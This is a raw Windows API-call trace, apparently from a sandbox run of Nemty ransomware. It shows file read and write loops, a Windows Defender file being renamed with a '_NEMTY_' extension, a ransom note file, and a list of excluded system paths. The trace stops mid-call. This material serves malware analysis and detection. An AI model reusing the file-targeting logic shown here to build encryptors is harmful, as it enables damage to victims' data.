0xffffffff [0099.769] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.769] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.769] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.778] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.778] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.778] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.787] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.787] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.787] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.805] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.805] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.805] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.833] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.854] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.854] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.854] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94248, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.854] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0099.854] CloseHandle (hObject=0xffffffff) returned 0 [0099.854] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f943b8 [0099.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0099.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Defender\\en-US\\MsMpRes.dll.mui" (normalized: "c:\\program files\\windows defender\\en-us\\msmpres.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\MsMpRes.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows defender\\en-us\\msmpres.dll.mui._nemty_kgobjgd_")) returned 0 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b8 | out: hHeap=0x4f90000) returned 1 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d0 | out: hHeap=0x4f90000) returned 1 [0099.855] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeef0e510, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeef0e510, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeef0e510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0099.855] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0099.856] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0099.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0099.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.857] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeef0e510, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeef0e510, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeef0e510, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0099.857] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0099.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0099.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.857] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2=".") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="..") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="...") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="windows") returned -1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="rsa") returned -1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="NTDETECT.COM") returned -1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ntldr") returned -1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="MSDOS.SYS") returned -1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="IO.SYS") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="boot.ini") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="boot.ini") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="ntuser.dat") returned -1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="desktop.ini") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="CONFIG.SYS") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="RECYCLER") returned -1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="bootmgr") returned 1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="programdata") returned -1 [0099.857] lstrcmpiW (lpString1="MpAsDesc.dll", lpString2="appdata") returned 1 [0099.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.857] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpAsDesc.dll", lpUsedDefaultChar=0x0) returned 12 [0099.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpAsDesc.dll", lpUsedDefaultChar=0x0) returned 12 [0099.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpAsDesc.dll", lpUsedDefaultChar=0x0) returned 12 [0099.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MpAsDesc.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MpAsDesc.dll", lpUsedDefaultChar=0x0) returned 12 [0099.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc60 | out: hHeap=0x4f90000) returned 1 [0099.858] FindNextFileW (in: 